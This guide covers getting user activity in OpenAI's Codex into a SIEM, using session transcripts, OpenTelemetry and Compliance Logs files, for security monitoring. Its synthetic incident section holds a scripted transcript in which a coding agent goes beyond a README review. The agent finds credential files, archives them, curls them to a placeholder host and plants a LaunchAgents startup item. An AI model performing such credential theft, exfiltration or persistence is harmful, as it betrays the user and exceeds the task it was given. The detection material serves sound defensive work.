Logging in Codex: get user activity into your SIEM

tl;dr

You want to see what people are doing in Codex from your SIEM. Codex records activity in five places, and three of them are worth collecting:

• Compliance Logs Platform (CODEX_LOG): OpenAI’s central files with prompts, responses, and tool input, for eligible managed workspaces. Nothing to install on laptops, but files arrive in batches and expire after 30 days.
• OpenTelemetry (OTel): structured events Codex sends to a collector you run. Off by default. You set it in each user’s config.toml or deploy it as a legacy managed default that Codex reapplies at each start, and users can still change it.
• Session transcripts: a JSONL file (one JSON object per line) per session on each machine. The most detail we saw, including command output, in an unpublished format you need an endpoint agent to collect.

Our advice: if your workspace is eligible, collect CODEX_LOG files into your SIEM first. Add OTel for approval decisions and failures as they happen. Copy session transcripts only when you investigate one machine. Prompts and tool input are sensitive, so set SIEM access and retention, and check with your privacy team or works council before you log prompt text.

The transcript records here come from Codex 0.153.4. We did not capture OTel or CODEX_LOG records, so those examples follow OpenAI’s documentation. The Claude Code guide and the Cursor guide cover the same ground for those agents.

What happens when someone uses Codex

Every log source records part of one loop. A user types a prompt. Codex decides to call a tool, usually a shell command or a file patch. The approval policy or the user allows or denies it. The tool runs and returns output, and Codex either calls another tool or answers.

The figure shows that loop as five numbered steps. The code at the bottom of each box is the record that step leaves, and the caption says which source each name comes from.

Security monitoring mostly cares about steps 1 to 4: what was asked, what the agent tried to do, whether it was allowed, and what came back.

Your EDR already sees the processes Codex starts and the files they touch. It does not see the prompt behind them, whether the user approved the call, or which session asked for it. The sources below add that context, and the EDR stays your record of what happened on the machine.

The sources at a glance

Codex records activity in five places: three local sources on each user’s machine and two central feeds. Each box in the figure gives a source’s file or event name and the question it answers. The box colors (periwinkle, cream, orchid, sage, and peach) only tell the sources apart, and the table after the figure compares the five in the same order. Two of them, prompt history and desktop logs, are not worth sending to a SIEM, as the paragraph after the table explains.

This table compares the five sources by location, default setting, contents, and best use.

Prompt history and desktop logs do not belong in a SIEM. history.jsonl is written by default at ${CODEX_HOME:-$HOME/.codex}/history.jsonl and turned off with [history] persistence = "none" in config.toml. In the files we looked at it held only typed prompts, so use it to find which session to open. Desktop logs cover the desktop app itself, such as Git file watchers, worktrees, and connections. A Git warning there does not mean the agent ran git.

Source 1: the local session transcript

The transcript holds the most detail we found: messages, tool calls with their arguments, and their results. It is also the hardest to collect, because it sits on each user’s machine in a format OpenAI does not publish.

Find the files on macOS

Codex keeps session files under CODEX_HOME, which defaults to ~/.codex. The Codex troubleshooting guide lists these locations and warns that the files can contain sensitive information:

~/.codex/sessions/
~/.codex/archived_sessions/
~/Library/Logs/com.openai.codex/YYYY/MM/DD/

The session and archived-session folders move with CODEX_HOME. Desktop logs stay under the macOS Library. These macOS commands check the version and list the files without opening them. We did not test them as published, so try them on one machine first:

# Version of the desktop app's bundled CLI
/Applications/Codex.app/Contents/Resources/codex --version

# Session and archived-session transcripts
find "${CODEX_HOME:-$HOME/.codex}/sessions" \
  -type f -name '*.jsonl' -print
find "${CODEX_HOME:-$HOME/.codex}/archived_sessions" \
  -type f -name '*.jsonl' -print

# Desktop logs, in date folders
find "$HOME/Library/Logs/com.openai.codex" \
  -type f -name '*.log' -print

Transcript output can contain file contents and secrets, so copy the file into an access-controlled location before you analyze it.

How a transcript is structured

The records below were observed in session transcripts written by Codex 0.153.4, with identifiers, paths, times, prompts, and outputs replaced. OpenAI does not publish a schema for these files. Its version-specific App Server schema covers a separate JSON-RPC interface, so test your parser against the Codex versions you run.

Each line is one JSON Lines object. This one is pretty-printed:

{
  "timestamp": "2026-08-20T09:30:00.000Z",
  "type": "response_item",
  "ordinal": 18,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_01",
    "arguments": "{\"cmd\":\"git status --short\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

The outer type is the record family, and payload.type names the specific record. payload.arguments is a JSON-encoded string, so decode it separately. This table lists the families we observed and the question each helps answer.

The figure puts five of these records in the order you meet them in one turn. The subsections below follow the same order, with the call and its result together under response items.

To list the families in one file without printing its contents (we did not run this filter as published, so try it on one copied file first):

session_file="$HOME/.codex/sessions/YYYY/MM/DD/example.jsonl"
jq -r '[.type, (.payload.type // "-")] | @tsv' "$session_file" \
  | sort -u

Session metadata

session_meta ties the file to a Codex version, launch source, working directory, model provider, and Git context:

{
  "timestamp": "2026-08-20T09:29:55.000Z",
  "type": "session_meta",
  "ordinal": 0,
  "payload": {
    "id": "session_example_01",
    "cwd": "/Users/alex/projects/example",
    "originator": "codex_desktop",
    "cli_version": "0.153.4",
    "source": "desktop",
    "model_provider": "openai",
    "git": {
      "branch": "codex/logging-demo",
      "repository_url": "https://github.com/example/example.git"
    }
  }
}

If a parser suddenly stops recognizing a field, cli_version tells you whether Codex changed the format or the data is malformed.

Turn context

One session can hold many user turns. turn_context records the environment for each one:

{
  "timestamp": "2026-08-20T09:29:58.000Z",
  "type": "turn_context",
  "ordinal": 12,
  "payload": {
    "turn_id": "turn_example_01",
    "root_turn_id": "turn_example_01",
    "cwd": "/Users/alex/projects/example",
    "model": "example-model",
    "approval_policy": "on-request",
    "workspace_roots": [
      "/Users/alex/projects/example"
    ],
    "collaboration_mode": {
      "kind": "default"
    }
  }
}

cwd and workspace_roots are the expected neighborhood: a later call that reads ~/.ssh or writes to ~/Library/LaunchAgents stands out against them. The approval, sandbox, and permission fields record the configured controls, and say nothing about whether later actions were harmful.

Response items

response_item holds messages, reasoning summaries, tool calls, tool outputs, and compaction records. Model reasoning may be summarized or absent. A call and its result look like this:

{
  "timestamp": "2026-08-20T09:30:00.000Z",
  "type": "response_item",
  "ordinal": 18,
  "payload": {
    "type": "function_call",
    "name": "exec_command",
    "call_id": "call_example_01",
    "arguments": "{\"cmd\":\"npm test\",\"workdir\":\"/Users/alex/projects/example\"}"
  }
}

{
  "timestamp": "2026-08-20T09:30:04.120Z",
  "type": "response_item",
  "ordinal": 19,
  "payload": {
    "type": "function_call_output",
    "call_id": "call_example_01",
    "output": "Process exited with code 0\nFinal output:\n42 tests passed"
  }
}

The shared call_id joins the request to its result. To pull out only these pairs without printing prompts or messages (we did not run this filter as published, so try it on one copied file first):

jq -c '
  select(
    .type == "response_item" and
    (.payload.type | test("^(function|custom_tool)_call(_output)?$"))
  )
' "$session_file"

Lifecycle records

event_msg records mark the start and end of each turn:

{
  "timestamp": "2026-08-20T09:29:58.100Z",
  "type": "event_msg",
  "ordinal": 13,
  "payload": {
    "type": "task_started",
    "turn_id": "turn_example_01"
  }
}

{
  "timestamp": "2026-08-20T09:30:04.300Z",
  "type": "event_msg",
  "ordinal": 20,
  "payload": {
    "type": "task_complete",
    "turn_id": "turn_example_01",
    "last_agent_message": "Tests pass."
  }
}

Keep aborted turns. A tool call may have finished before the user stopped the task, and its file writes or network requests still happened.

Source 2: OpenTelemetry

With OpenTelemetry export, Codex sends structured events, metrics, and traces to a collector you choose. The export is off by default.

The figure follows an event from each machine to your SIEM in four numbered steps. The code at the bottom of each box names the setting, port, or component for that hop, and the next section configures steps 1 and 2.

Switch it on and choose content

Put OTel settings in the user-level ~/.codex/config.toml, or in what OpenAI’s managed configuration guide calls legacy managed defaults: /etc/codex/managed_config.toml, or the config_toml_base64 MDM key on macOS. Legacy managed defaults override the user’s file each time Codex starts. The guide’s current configuration defaults (a system or cloud-managed config.toml) are settings users can override. Codex ignores otel in a project’s .codex/config.toml, so a repository cannot redirect telemetry.

A legacy managed default does not lock the setting. OpenAI says users “can still change those settings during the current run”, and we did not test whether that includes OTel.

This example turns on log events and traces, includes raw prompt text, and turns off metrics. Replace the collector address and header; OpenAI’s Codex configuration reference lists every value. We did not test this exact config, so check on one machine that events reach your collector before you roll it out:

[otel]
environment = "production"
log_user_prompt = true
exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }
metrics_exporter = "none"
trace_exporter = { otlp-grpc = { endpoint = "https://collector.example.invalid:4317", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }

• environment = "production" labels exported events, so you can separate production from test data.
• exporter sends codex.* log events over OTLP/gRPC, and trace_exporter does the same for traces. Each has its own endpoint and headers.
• metrics_exporter = "none" keeps aggregate counters out of this pipeline.
• log_user_prompt = true puts raw prompt text in codex.user_prompt events. With false, the event keeps the prompt length only.
• ${OTLP_TOKEN} is read from the environment, which keeps the token out of the file. example.invalid is reserved and sends nothing.

Codex still decides which events and fields exist: there is no per-event allowlist, and codex.tool_result carries only an output snippet. Codex product analytics are a separate setting.

What a Codex OTel event contains

OpenAI documents that Codex flushes pending events on shutdown, but neither batching nor that flush guarantees delivery, so allow for gaps and duplicates. Exported events share context (service name, Codex version, environment, conversation ID, model, and sandbox and approval settings), and each event adds its own fields.

The example below is synthetic: an illustrative, collector-normalized codex.tool_result event built from documented fields. Your collector decides the real field names, so test the output of your version and collector before you write a parser.

{
  "resource": {
    "service": "codex",
    "codex_version": "0.153.4",
    "environment": "production"
  },
  "event": {
    "name": "codex.tool_result",
    "timestamp": "2026-08-20T09:30:04.120Z",
    "common_attributes": {
      "conversation_id": "conversation_example_01",
      "model": "example-model",
      "sandbox_policy": "workspace-write",
      "approval_policy": "on-request"
    },
    "attributes": {
      "duration_ms": 4120,
      "success": true,
      "output_snippet": "Process exited with code 0; output snippet follows"
    }
  }
}

This table lists representative log events from OpenAI’s documentation and the security context each carries.

OTel can also export metrics such as codex.tool.call, grouped by tool and success, and codex.tool.call.duration_ms. They answer volume and timing questions and carry no commands.

Source 3: the Compliance Logs Platform

If your organization has an eligible managed ChatGPT workspace, OpenAI keeps CODEX_LOG events for supported Codex activity, including local clients such as the CLI and IDE as well as web and cloud use, and lets you download them as files. Check eligibility, client coverage, and permissions in your own workspace. The OpenAI Admin API reference defines the event families and scopes.

You list the files for a time window, then download each one:

GET /v1/compliance/workspaces/{workspace_id}/logs?event_type=CODEX_LOG&after={iso_8601_timestamp}
GET /v1/compliance/workspaces/{workspace_id}/logs/{log_file_id}

Equivalent organization-scoped routes are documented. The list route returns file metadata, and the download route returns the events. Use an Admin API key with only the Codex read scope, chatgpt.enterprise.compliance_logs_platform.codex_log.read, because the broader chatgpt.enterprise.compliance_logs_platform.read scope also reads conversation messages and every other log type. The Compliance Logs Platform guide describes the file workflow.

This request lists the files since a given time. We did not run it, because our research used no Admin API key, so test it on your workspace first:

workspace_id="ws_EXAMPLE"
after="2026-08-20T00:00:00Z"

curl --fail-with-body --silent --show-error \
  --request GET \
  --get \
  --url "https://api.chatgpt.com/v1/compliance/workspaces/${workspace_id}/logs" \
  --data-urlencode "event_type=CODEX_LOG" \
  --data-urlencode "after=${after}" \
  --header "Authorization: Bearer ${OPENAI_ADMIN_KEY}"

Keep the Admin key out of shell history and repositories, and store downloaded files where access is restricted.

Collect files before they expire

The OpenAI Admin API reference says the platform writes immutable files for roughly ten-minute windows, targets p99 delivery within 30 minutes, and keeps files for 30 days. Delivery is at least once and late arrivals can appear. Checkpoint the list cursor or time boundary, download every file before it expires, keep the raw JSONL with its file ID and receipt time, de-duplicate on event_id, and sort reconstructed activity by event time.

Map event families to detection questions

CODEX_LOG splits a session into event families, and which families appear depends on the client and feature. This table maps each security question to the family and fields that answer it.

The catalog also covers execution, environment, plugin, access-token, and MCP elicitation events. Build rules only on families you have seen for the client in question. A rule that expects TOOL_DECISION for local CLI actions will silently find nothing.

Link events in a session

The figure shows the chain as five numbered steps, from the prompt to an independent record of the effect. The code at the bottom of steps 1 to 4 names the IDs that join them, “Incident in CODEX_LOG” below walks steps 1 to 4, and the paragraph after the table in “What each view gives you” covers step 5.

Start from session_id, then link events with turn_id, call_id, or tool_call_id where the family has them. When an ID is missing, leave it empty and treat events close in time as leads.

One incident, three views

The records in this section are synthetic: we scripted them and did not run this incident. A user asks Codex to review README.md without changing anything outside the repository. The agent then searches for credentials, archives them, tries to upload the archive, and installs a startup item before the user interrupts the turn. Names are fictional, secrets are placeholders, and the .invalid host cannot resolve. The transcript lines follow the shape we observed in 0.153.4, and the OTel and CODEX_LOG views follow OpenAI’s documentation.

Incident in the transcript

The synthetic transcript records every step in order, with its arguments and output:

{"timestamp":"2026-08-20T10:04:10.000Z","type":"session_meta","ordinal":0,"payload":{"id":"session_example_02","cwd":"/Users/alex/projects/example","originator":"codex_desktop","cli_version":"0.153.4","source":"desktop","model_provider":"openai","git":{"branch":"main","repository_url":"https://github.com/example/example.git"}}}
{"timestamp":"2026-08-20T10:04:11.000Z","type":"response_item","ordinal":1,"payload":{"type":"message","role":"user","content":[{"type":"input_text","text":"Review README.md for spelling and clarity. Do not change anything outside this repository."}]}}
{"timestamp":"2026-08-20T10:04:11.100Z","type":"turn_context","ordinal":2,"payload":{"turn_id":"turn_example_02","cwd":"/Users/alex/projects/example","workspace_roots":["/Users/alex/projects/example"],"approval_policy":"on-request"}}
{"timestamp":"2026-08-20T10:04:11.200Z","type":"event_msg","ordinal":3,"payload":{"type":"task_started","turn_id":"turn_example_02"}}
{"timestamp":"2026-08-20T10:04:13.500Z","type":"response_item","ordinal":4,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_02","arguments":"{\"cmd\":\"find \\\"$HOME\\\" -name .env -o -path '*/.aws/credentials'\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-08-20T10:04:13.900Z","type":"response_item","ordinal":5,"payload":{"type":"function_call_output","call_id":"call_example_02","output":"Process exited with code 0\nFinal output:\n/Users/alex/.aws/credentials\n/Users/alex/projects/example/.env\n"}}
{"timestamp":"2026-08-20T10:05:01.000Z","type":"response_item","ordinal":6,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_03","arguments":"{\"cmd\":\"tar -czf /tmp/project-config.tgz .env $HOME/.aws/credentials\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-08-20T10:05:01.400Z","type":"response_item","ordinal":7,"payload":{"type":"function_call_output","call_id":"call_example_03","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-08-20T10:05:03.000Z","type":"response_item","ordinal":8,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_04","arguments":"{\"cmd\":\"curl --data-binary @/tmp/project-config.tgz https://collector.example.invalid/upload\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-08-20T10:05:03.300Z","type":"response_item","ordinal":9,"payload":{"type":"function_call_output","call_id":"call_example_04","output":"Process exited with code 6\nFinal output:\ncurl: could not resolve host: collector.example.invalid\n"}}
{"timestamp":"2026-08-20T10:06:22.000Z","type":"response_item","ordinal":10,"payload":{"type":"function_call","name":"exec_command","call_id":"call_example_05","arguments":"{\"cmd\":\"mkdir -p \\\"$HOME/Library/LaunchAgents\\\" && cp ./fixtures/com.example.update.plist \\\"$HOME/Library/LaunchAgents/\\\"\",\"workdir\":\"/Users/alex/projects/example\"}"}}
{"timestamp":"2026-08-20T10:06:22.180Z","type":"response_item","ordinal":11,"payload":{"type":"function_call_output","call_id":"call_example_05","output":"Process exited with code 0\nFinal output:\n"}}
{"timestamp":"2026-08-20T10:06:22.300Z","type":"event_msg","ordinal":12,"payload":{"type":"turn_aborted","turn_id":"turn_example_02","reason":"interrupted"}}

Three things stand out: the find covers the whole home folder while workspace_roots names one repository, an archive of credential files is followed by curl to an outside host, and a file lands in ~/Library/LaunchAgents, a macOS startup location. The empty successful output suggests the copy completed, and turn_aborted records only that the turn stopped.

Incident in OTel

We have no captured OTel records. Going by OpenAI’s documentation, OTel would carry the prompt (only with log_user_prompt = true), a decision and a result for each call, timing, and short output snippets. It does not document full commands, complete outputs, call_id joins, or an abort event, and the empty snippets for tar and cp would reveal nothing. You would see four tool calls and their outcomes in one conversation, but not which commands ran.

Incident in CODEX_LOG

We have no captured CODEX_LOG records, so this view follows the documented families, where your workspace covers the client in use:

1. PROMPT_SENT holds the request to stay inside the repository.
2. TOOL_CALL_SUGGESTED holds each find, tar, curl, and cp command in tool_input.
3. TOOL_DECISION is documented for Codex Cloud Agent, so a desktop session like this one may have no approval records.
4. TOOL_CALL_COMPLETED or TOOL_CALL_FAILED gives each call’s status, without its output.

What each view gives you

This table shows what each source records about the synthetic incident.

None of the three proves that the upload failed on the network side or that the startup item ran. Endpoint, proxy, and DNS logs confirm what happened on the machine.

Join the sources by ID

Each source has its own IDs, and OpenAI does not document that they line up. This table shows the IDs each source carries for a session and for steps within it.

The local session ID, the OTel conversation ID, and the CODEX_LOG session_id may refer to the same session. Until you have tested that for your clients and versions, treat a match on user and time as a lead.

Which should you send to your SIEM?

Send CODEX_LOG files to your SIEM first if your workspace is eligible, then add OTel. The figure sums up our advice on CODEX_LOG: its strengths sit under the sage green Pros label and its weaknesses under the peach Cons label. The table after it weighs all five sources the same way.

This table lists the pros and cons of each source and whether to send it to your SIEM.

The two sources we recommend sending to your SIEM leave one gap: what the commands returned. CODEX_LOG gives a status for general tools and OTel a short snippet. Only the transcript held the output text in the records we examined. We still don’t recommend ingesting transcripts continuously, because a Codex update can change the unpublished format and break every detection built on it without warning. Pull the transcript when you need a command’s output, such as which files a search found.

What each choice costs

Weigh these before you roll out:

• Plan and access: CODEX_LOG needs an eligible managed workspace. Whoever holds the Admin API key can read the prompts and tool input of every covered user.
• Data sensitivity: CODEX_LOG, and OTel with log_user_prompt = true, carry prompts, tool input, paths, and responses or snippets. Restrict access to the collector and SIEM index, set retention for that content, and check prompt logging with your privacy team or works council.
• Ingest volume: CODEX_LOG arrives as a file per roughly ten-minute window, and OTel can send a decision and a result for each tool call plus API and streaming events. Measure a pilot group before you size the index.
• Who can switch it off: users can change OTel settings, as Switch it on and choose content explains. CODEX_LOG has nothing on the laptop to switch off, but it covers only sessions signed in to the eligible workspace. We did not confirm whether sessions that use an API key or a personal account are covered, or whether workspace sign-in can be enforced.
• Rollout risk: OpenAI documents OTel export as background batching, but we did not test what a wrong endpoint or token does on the user’s machine. Try the config on a few machines first.

A setup you can copy

1. If your workspace is eligible, follow the Compliance Logs Platform guide and schedule a job that lists new CODEX_LOG files and downloads each one into your SIEM or data lake. Keep the raw JSONL with its file ID and download time, de-duplicate on event_id, run it well inside the 30-day expiry, and alert when it fails.
2. After testing on a few machines, turn on OTel as a legacy managed default where you manage the devices, or in each user’s ~/.codex/config.toml otherwise, with your collector endpoint. Set log_user_prompt = true only if your privacy review allows it. Without CODEX_LOG, OTel is your only central source, so record what it misses.
3. For an investigation, copy the session JSONL from the user’s machine as early as you can, because the user can edit or delete it. Read it alongside the central events for the same user and time.
4. Confirm effects elsewhere. A tool result tells you what Codex saw. Endpoint, Git, identity, proxy, and SaaS logs tell you what changed.

What to watch first

Once events are flowing, start with these searches. The first three need tool_input from CODEX_LOG, because OpenAI documents no commands in OTel; with OTel alone, only the last one applies:

• Credential paths in tool input: tool_input containing .ssh, .aws, .env, or keychain tools, especially outside the repository named in the prompt.
• Archive then network transfer: a tar or zip call followed by curl, scp, or similar in the same session.
• Writes to startup locations: paths such as ~/Library/LaunchAgents in tool input.
• Rising denials or failures: more codex.tool_decision denials or codex.tool_result failures than usual in one conversation.

None of these proves bad intent. Migrations, incident response, and admin work produce similar sequences. They tell you where to look.

Summary

If your workspace is eligible, collect CODEX_LOG files into your SIEM first. They hold the prompt, response, and tool input for supported clients. Add OpenTelemetry for approval decisions and failures as they happen, knowing users can change it. Copy a user’s session transcript when you need a command’s output, if it is still there.

Before you start, decide who may read prompts and tool input in your SIEM, and check prompt logging with your privacy team. Treat a match on the patterns above as a place to look, and confirm what changed in endpoint, Git, identity, proxy, and SaaS logs before you act.